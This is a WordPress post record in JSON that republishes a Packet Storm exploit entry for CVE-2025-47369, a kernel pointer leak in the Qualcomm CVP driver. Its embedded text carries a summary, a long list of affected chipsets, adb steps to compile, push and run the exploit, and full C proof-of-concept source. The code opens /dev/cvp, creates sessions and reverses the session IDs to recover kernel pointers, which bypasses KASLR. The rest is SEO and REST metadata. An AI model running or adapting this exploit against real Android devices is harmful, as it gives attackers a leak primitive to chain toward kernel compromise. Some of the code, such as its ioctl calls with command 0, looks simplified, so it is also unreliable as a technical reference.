{"id":37901,"date":"2026-01-28T12:45:55","date_gmt":"2026-01-28T12:45:55","guid":{"rendered":"http:\/\/localhost\/?p=37901"},"modified":"2026-01-28T12:45:55","modified_gmt":"2026-01-28T12:45:55","slug":"qualcomm-cvp-kernel-pointer-leak","status":"publish","type":"post","link":"https:\/\/zero.redgem.net\/?p=37901","title":{"rendered":"\ud83d\udcc4 Qualcomm CVP Kernel Pointer Leak_PACKETSTORM:214496"},"content":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2026-01-28T17:49:32&#8243;,&#8221;description&#8221;:&#8221;The Qualcomm CVP driver exposes kernel pointers to userland by returning a hashed session ID derived from a kernel pointer using hash32ptr. This function is not a cryptographic hash but a reversible fold that XORs the upper and lower 32 bits of the&#8230;&#8221;,&#8221;published&#8221;:&#8221;2026-01-28T00:00:00&#8243;,&#8221;modified&#8221;:&#8221;2026-01-28T00:00:00&#8243;,&#8221;type&#8221;:&#8221;packetstorm&#8221;,&#8221;title&#8221;:&#8221;\ud83d\udcc4 Qualcomm CVP Kernel Pointer Leak&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;PACKETSTORM:214496&#8243;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[&#8220;CVE-2025-47369&#8243;],&#8221;sourceData&#8221;:&#8221;=============================================================================================================================================\\n    | # Title     : Kernel Pointer Leak via CVP Driver                                                                                          |\\n    | # Author    : indoushka                                                                                                                   |\\n    | # Tested on : windows 11 Fr(Pro) \/ browser : Mozilla firefox 147.0.1 (64 bits)                                                            |\\n    | # Vendor    : https:\/\/docs.qualcomm.com\/product\/publicresources\/securitybulletin\/january-2026-bulletin.html                               |\\n    =============================================================================================================================================\\n    \\n    [+] References : https:\/\/packetstorm.news\/files\/id\/213733\/ \\u0026 \\tCVE-2025-47369\\n    \\n    [+] Summary    : The Qualcomm CVP driver exposes kernel pointers to userland by returning a \u201chashed\u201d session ID derived from a kernel pointer using hash32_ptr(). \\n                     This function is not a cryptographic hash but a reversible fold that XORs the upper and lower 32 bits of the pointer. \\n    \\t\\t\\t\\t Due to predictable ARM64 kernel virtual address layout and alignment constraints, the session ID can be deterministically \u201cunfolded\u201d to recover the original kernel pointer. \\n    \\t\\t\\t\\t This design flaw results in a reliable kernel pointer leak, effectively bypassing KASLR and providing a strong info\u2011leak primitive that can be chained with other vulnerabilities. \\n                     The issue is tracked as CVE\u20112025\u201147369 and stems from improper use of pointer-derived identifiers rather than an implementation bug.\\n    \\n    [+] Affected Chipsets : AR8035, AR9380, CSR8811, FastConnect 6200, FastConnect 6700, FastConnect 6900, FastConnect 7800, Immersive Home 214 Platform, \\n                            Immersive Home 216 Platform, Immersive Home 316 Platform, Immersive Home 318 Platform, IPQ4018, IPQ4019, IPQ4028, IPQ4029, IPQ5010, \\n    \\t\\t\\t\\t\\t\\tIPQ5028, IPQ6000, IPQ6010, IPQ6018, IPQ6028, IPQ8064, IPQ8065, IPQ8068, IPQ8070, IPQ8070A, IPQ8071, IPQ8071A, IPQ8072, IPQ8072A, \\n    \\t\\t\\t\\t\\t\\tIPQ8074, IPQ8074A, IPQ8076, IPQ8076A, IPQ8078, IPQ8078A, IPQ8173, IPQ8174, QAM8255P, QAM8295P, QAM8620P, QAM8650P, QAM8775P, QAMSRV1H, \\n    \\t\\t\\t\\t\\t\\tQAMSRV1M, QCA4024, QCA6174A, QCA6428, QCA6438, QCA6574, QCA6574A, QCA6574AU, QCA6584AU, QCA6595, QCA6595AU, QCA6678AQ, QCA6688AQ, \\n    \\t\\t\\t\\t\\t\\tQCA6696, QCA6698AQ, QCA6797AQ, QCA7500, QCA8075, QCA8081, QCA8337, QCA9880, QCA9886, QCA9888, QCA9889, QCA9898, QCA9980, QCA9984, \\n    \\t\\t\\t\\t\\t\\tQCA9985, QCA9986, QCA9990, QCA9992, QCA9994, QCC710, QCM5430, QCM6490, QCN5022, QCN5024, QCN5052, QCN5122, QCN5124, QCN5152, QCN5154, \\n    \\t\\t\\t\\t\\t\\tQCN5164, QCN6023, QCN6024, QCN6112, QCN6122, QCN6132, QCN6224, QCN6274, QCN9000, QCN9022, QCN9024, QCN9070, QCN9072, QCN9074, QCN9100, \\n    \\t\\t\\t\\t\\t\\tQCN9274, QCS5430, QCS615, QCS6490, QCS9100, QEP8111, QFW7114, QFW7124, QMP1000, Qualcommr Video Collaboration VC3 Platform, SA6145P, \\n    \\t\\t\\t\\t\\t\\tSA6150P, SA6155P, SA7255P, SA7775P, SA8145P, SA8150P, SA8155P, SA8195P, SA8255P, SA8295P, SA8540P, SA8620P, SA8650P, SA8770P, SA8775P, \\n    \\t\\t\\t\\t\\t\\tSA9000P, SC8380XP, SDX55, SM4635, SM6475, SM6650, SM6650P, SM7435, SM7635, SM7635P, SM7675, SM7675P, SM8635, SM8635P, SM8650Q, SM8735, \\n    \\t\\t\\t\\t\\t\\tSM8750, SM8750P, Snapdragon 4 Gen 2 Mobile Platform, Snapdragon 6 Gen 1 Mobile Platform, Snapdragon 8 Gen 3 Mobile Platform, Snapdragon \\n    \\t\\t\\t\\t\\t\\tAR1 Gen 1 Platform, Snapdragon AR1 Gen 1 Platform \\&#8221;Luna1\\&#8221;, Snapdragon Auto 5G Modem-RF Gen 2, Snapdragon X32 5G Modem-RF System, \\n    \\t\\t\\t\\t\\t\\tSnapdragon X35 5G Modem-RF System, Snapdragon X72 5G Modem-RF System, Snapdragon X75 5G Modem-RF System, SRV1H, SRV1L, SRV1M, SXR2330P, \\n    \\t\\t\\t\\t\\t\\tSXR2350P, WCD9340, WCD9370, WCD9375, WCD9378, WCD9380, WCD9385, WCD9390, WCD9395, \\n                            WCN3950, WCN3988, WCN6650, WCN6755, WCN7750, WCN7860, WCN7861, WCN7880, WCN7881, \\n    \\t\\t\\t\\t\\t\\tWSA8810, WSA8815, WSA8830, WSA8832, WSA8835, WSA8840, WSA8845, WSA8845H\\n    [+] Usage :\\n    \\n    # 1. Compile the POC : gcc -o cvp_exploit cvp_exploit.c -static\\n    \\n    # 2. Upload the file to the machine : adb push cvp_exploit \/data\/local\/tmp\/\\n    \\n    # 3. Run the exploit :\\n    \\n    adb shell\\n    cd \/data\/local\/tmp\\n    chmod +x cvp_exploit\\n    .\/cvp_exploit\\n    \\n    [+] POC :\\n    \\n    #include \\u003cfcntl.h\\u003e\\n    #include \\u003cunistd.h\\u003e\\n    #include \\u003cstdio.h\\u003e\\n    #include \\u003cstdlib.h\\u003e\\n    #include \\u003cerrno.h\\u003e\\n    #include \\u003cstring.h\\u003e\\n    #include \\u003csys\/ioctl.h\\u003e\\n    #include \\u003cstdint.h\\u003e\\n    \\n    #define EVA_KMD_SESSION_CONTROL 1\\n    #define EVA_KMD_GET_SESSION_INFO 2\\n    #define SESSION_CREATE 1\\n    \\n    struct session_ctrl_data {\\n        int ctrl_type;\\n    \\n    };\\n    \\n    struct session_info_data {\\n        unsigned int session_id;\\n    \\n    };\\n    \\n    struct eva_kmd_arg {\\n        int type;\\n        union {\\n            struct session_ctrl_data session_ctrl;\\n            struct session_info_data session;\\n    \\n        } data;\\n    };\\n    \\n    unsigned long unfold_pointer(unsigned int session_id) {\\n    \\n    \\n        unsigned char bottom_byte = (session_id \\u0026 0xf) | 0x80;\\n    \\n        unsigned long top_half = 0xffffff00UL | bottom_byte;\\n    \\n        unsigned long bottom_half = session_id ^ (top_half \\u0026 0xffffffff);\\n    \\n        unsigned long kernel_ptr = (top_half \\u003c\\u003c 32) | bottom_half;\\n        \\n        return kernel_ptr;\\n    }\\n    \\n    int is_valid_kernel_pointer(unsigned long ptr) {\\n    \\n        if ((ptr \\u003e\\u003e 63) == 1) {\\n            return 1;\\n        }\\n    \\n        if ((ptr \\u003e\\u003e 48) == 0xffffff) {\\n            return 1;\\n        }\\n        \\n        return 0;\\n    }\\n    \\n    int main(int argc, char *argv[]) {\\n        printf(\\&#8221;CVE-2025-47369 POC &#8211; Kernel Pointer Leak via CVP Driver by indoushka\\\\n\\&#8221;);\\n        printf(\\&#8221;=====================================================================\\\\n\\&#8221;);\\n    \\n        int fd = open(\\&#8221;\/dev\/cvp\\&#8221;, O_RDWR);\\n        if (fd == -1) {\\n            perror(\\&#8221;Failed to open \/dev\/cvp\\&#8221;);\\n            printf(\\&#8221;Make sure device exists and permissions are correct\\\\n\\&#8221;);\\n            return EXIT_FAILURE;\\n        }\\n        printf(\\&#8221;[+] Opened \/dev\/cvp (fd=%d)\\\\n\\&#8221;, fd);\\n        \\n    \\n        int num_sessions = 3;\\n        unsigned long pointers[num_sessions];\\n        \\n        for (int i = 0; i \\u003c num_sessions; i++) {\\n    \\n            struct eva_kmd_arg create_arg = {\\n                .type = EVA_KMD_SESSION_CONTROL,\\n                .data.session_ctrl.ctrl_type = SESSION_CREATE,\\n            };\\n            \\n            if (ioctl(fd, 0, \\u0026create_arg) \\u003c 0) {\\n                perror(\\&#8221;Failed to create session\\&#8221;);\\n                close(fd);\\n                return EXIT_FAILURE;\\n            }\\n    \\n            struct eva_kmd_arg info_arg = {\\n                .type = EVA_KMD_GET_SESSION_INFO,\\n                .data.session.session_id = 0\\n            };\\n            \\n            if (ioctl(fd, 0, \\u0026info_arg) \\u003c 0) {\\n                perror(\\&#8221;Failed to get session info\\&#8221;);\\n                close(fd);\\n                return EXIT_FAILURE;\\n            }\\n            \\n            unsigned int session_id = info_arg.data.session.session_id;\\n            printf(\\&#8221;[+] Session %d created &#8211; session_id: 0x%08x\\\\n\\&#8221;, \\n                   i + 1, session_id);\\n    \\n            unsigned long kernel_ptr = unfold_pointer(session_id);\\n            pointers[i] = kernel_ptr;\\n    \\n            if (is_valid_kernel_pointer(kernel_ptr)) {\\n                printf(\\&#8221;    [+] Leaked kernel pointer: 0x%016lx\\\\n\\&#8221;, kernel_ptr);\\n    \\n                printf(\\&#8221;    [+] Pointer analysis:\\\\n\\&#8221;);\\n                printf(\\&#8221;        &#8211; Upper 32 bits: 0x%08lx\\\\n\\&#8221;, kernel_ptr \\u003e\\u003e 32);\\n                printf(\\&#8221;        &#8211; Lower 32 bits: 0x%08lx\\\\n\\&#8221;, kernel_ptr \\u0026 0xffffffff);\\n                printf(\\&#8221;        &#8211; XOR result: 0x%08x\\\\n\\&#8221;, \\n                       (unsigned int)((kernel_ptr \\u003e\\u003e 32) ^ (kernel_ptr \\u0026 0xffffffff)));\\n            } else {\\n                printf(\\&#8221;    [-] Invalid\/unexpected pointer format: 0x%016lx\\\\n\\&#8221;, \\n                       kernel_ptr);\\n            }\\n            \\n            printf(\\&#8221;\\\\n\\&#8221;);\\n        }\\n    \\n        printf(\\&#8221;[+] Pattern Analysis:\\\\n\\&#8221;);\\n        for (int i = 1; i \\u003c num_sessions; i++) {\\n            long diff = pointers[i] &#8211; pointers[i-1];\\n            printf(\\&#8221;    Difference between session %d and %d: %ld bytes (0x%lx)\\\\n\\&#8221;,\\n                   i, i &#8211; 1, diff, diff);\\n        }\\n    \\n        printf(\\&#8221;\\\\n[+] System Information:\\\\n\\&#8221;);\\n        printf(\\&#8221;    Pointer size: %lu bits\\\\n\\&#8221;, sizeof(void*) * 8);\\n        printf(\\&#8221;    Long size: %lu bits\\\\n\\&#8221;, sizeof(unsigned long) * 8);\\n        \\n        close(fd);\\n        printf(\\&#8221;[+] Exploit completed successfully\\\\n\\&#8221;);\\n        \\n        return EXIT_SUCCESS;\\n    }\\n    \\n    Greetings to :============================================================\\n    jericho * Larry W. Cashdollar * r00t * Malvuln (John Page aka hyp3rlinx)*|\\n    ==========================================================================&#8221;,&#8221;sourceHref&#8221;:&#8221;https:\/\/packetstorm.news\/download\/214496&#8243;,&#8221;cvss&#8221;:{&#8220;score&#8221;:5.5,&#8221;severity&#8221;:&#8221;MEDIUM&#8221;,&#8221;vector&#8221;:&#8221;CVSS:3.1\/AV:L\/AC:L\/PR:L\/UI:N\/S:U\/C:H\/I:N\/A:N&#8221;,&#8221;version&#8221;:&#8221;3.1&#8243;},&#8221;cvss2&#8243;:{},&#8221;cvss3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;,&#8221;cvssV3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;}},&#8221;href&#8221;:&#8221;https:\/\/packetstorm.news\/files\/id\/214496\/&#8221;,&#8221;category_name&#8221;:&#8221;Exploit&#8221;,&#8221;post_link&#8221;:&#8221;&#8221;,&#8221;product&#8221;:&#8221;&#8221;,&#8221;version&#8221;:&#8221;&#8221;,&#8221;vendor&#8221;:&#8221;&#8221;,&#8221;ai_description&#8221;:&#8221;&#8221;,&#8221;ai_severity&#8221;:&#8221;&#8221;,&#8221;ai_vendor&#8221;:&#8221;&#8221;,&#8221;ai_product&#8221;:&#8221;&#8221;,&#8221;ai_version&#8221;:&#8221;&#8221;,&#8221;ai_score&#8221;:0}<\/p>\n","protected":false},"excerpt":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2026-01-28T17:49:32&#8243;,&#8221;description&#8221;:&#8221;The Qualcomm CVP driver exposes kernel pointers to userland by returning a hashed session ID derived from a kernel pointer using hash32ptr. This function is&#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,70,12,21,13,53,7,11,5],"class_list":["post-37901","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-cvss-55","tag-exploit","tag-medium","tag-news","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.5 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>\ud83d\udcc4 Qualcomm CVP Kernel Pointer Leak_PACKETSTORM:214496 - zero redgem<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/zero.redgem.net\/?p=37901\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"\ud83d\udcc4 Qualcomm CVP Kernel Pointer Leak_PACKETSTORM:214496 - zero redgem\" \/>\n<meta property=\"og:description\" content=\"{&#8220;lastseen&#8221;:&#8221;2026-01-28T17:49:32&#8243;,&#8221;description&#8221;:&#8221;The Qualcomm CVP driver exposes kernel pointers to userland by returning a hashed session ID derived from a kernel pointer using hash32ptr. This function is...\" \/>\n<meta property=\"og:url\" content=\"https:\/\/zero.redgem.net\/?p=37901\" \/>\n<meta property=\"og:site_name\" content=\"zero redgem\" \/>\n<meta property=\"article:published_time\" content=\"2026-01-28T12:45:55+00:00\" \/>\n<meta name=\"author\" content=\"invoker\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"invoker\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"7 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=37901#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=37901\"},\"author\":{\"name\":\"invoker\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\"},\"headline\":\"\ud83d\udcc4 Qualcomm CVP Kernel Pointer Leak_PACKETSTORM:214496\",\"datePublished\":\"2026-01-28T12:45:55+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=37901\"},\"wordCount\":1423,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"keywords\":[\"CVE\",\"CVSS\",\"CVSS-5.5\",\"exploit\",\"MEDIUM\",\"news\",\"packetstorm\",\"Security\",\"tapic\",\"Vulnerability\"],\"articleSection\":[\"category_exploit\"],\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=37901#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=37901\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?p=37901\",\"name\":\"\ud83d\udcc4 Qualcomm CVP Kernel Pointer Leak_PACKETSTORM:214496 - zero redgem\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\"},\"datePublished\":\"2026-01-28T12:45:55+00:00\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=37901#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=37901\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=37901#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/zero.redgem.net\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"\ud83d\udcc4 Qualcomm CVP Kernel Pointer Leak_PACKETSTORM:214496\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"name\":\"zero redgem\",\"description\":\"\",\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/zero.redgem.net\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Organization\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\",\"name\":\"zero redgem\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\",\"url\":\"\",\"contentUrl\":\"\",\"width\":191,\"height\":188,\"caption\":\"zero redgem\"},\"image\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\"}},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\",\"name\":\"invoker\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"caption\":\"invoker\"},\"sameAs\":[\"https:\\\/\\\/zero.redgem.net\"],\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?author=1\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"\ud83d\udcc4 Qualcomm CVP Kernel Pointer Leak_PACKETSTORM:214496 - zero redgem","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/zero.redgem.net\/?p=37901","og_locale":"en_US","og_type":"article","og_title":"\ud83d\udcc4 Qualcomm CVP Kernel Pointer Leak_PACKETSTORM:214496 - zero redgem","og_description":"{&#8220;lastseen&#8221;:&#8221;2026-01-28T17:49:32&#8243;,&#8221;description&#8221;:&#8221;The Qualcomm CVP driver exposes kernel pointers to userland by returning a hashed session ID derived from a kernel pointer using hash32ptr. This function is...","og_url":"https:\/\/zero.redgem.net\/?p=37901","og_site_name":"zero redgem","article_published_time":"2026-01-28T12:45:55+00:00","author":"invoker","twitter_card":"summary_large_image","twitter_misc":{"Written by":"invoker","Est. reading time":"7 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/zero.redgem.net\/?p=37901#article","isPartOf":{"@id":"https:\/\/zero.redgem.net\/?p=37901"},"author":{"name":"invoker","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca"},"headline":"\ud83d\udcc4 Qualcomm CVP Kernel Pointer Leak_PACKETSTORM:214496","datePublished":"2026-01-28T12:45:55+00:00","mainEntityOfPage":{"@id":"https:\/\/zero.redgem.net\/?p=37901"},"wordCount":1423,"commentCount":0,"publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"keywords":["CVE","CVSS","CVSS-5.5","exploit","MEDIUM","news","packetstorm","Security","tapic","Vulnerability"],"articleSection":["category_exploit"],"inLanguage":"en-US","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/zero.redgem.net\/?p=37901#respond"]}]},{"@type":"WebPage","@id":"https:\/\/zero.redgem.net\/?p=37901","url":"https:\/\/zero.redgem.net\/?p=37901","name":"\ud83d\udcc4 Qualcomm CVP Kernel Pointer Leak_PACKETSTORM:214496 - zero redgem","isPartOf":{"@id":"https:\/\/zero.redgem.net\/#website"},"datePublished":"2026-01-28T12:45:55+00:00","breadcrumb":{"@id":"https:\/\/zero.redgem.net\/?p=37901#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/zero.redgem.net\/?p=37901"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/zero.redgem.net\/?p=37901#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/zero.redgem.net\/"},{"@type":"ListItem","position":2,"name":"\ud83d\udcc4 Qualcomm CVP Kernel Pointer Leak_PACKETSTORM:214496"}]},{"@type":"WebSite","@id":"https:\/\/zero.redgem.net\/#website","url":"https:\/\/zero.redgem.net\/","name":"zero redgem","description":"","publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/zero.redgem.net\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https:\/\/zero.redgem.net\/#organization","name":"zero redgem","url":"https:\/\/zero.redgem.net\/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/","url":"","contentUrl":"","width":191,"height":188,"caption":"zero redgem"},"image":{"@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/"}},{"@type":"Person","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca","name":"invoker","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","caption":"invoker"},"sameAs":["https:\/\/zero.redgem.net"],"url":"https:\/\/zero.redgem.net\/?author=1"}]}},"_links":{"self":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/37901","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=37901"}],"version-history":[{"count":0,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/37901\/revisions"}],"wp:attachment":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=37901"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=37901"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=37901"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}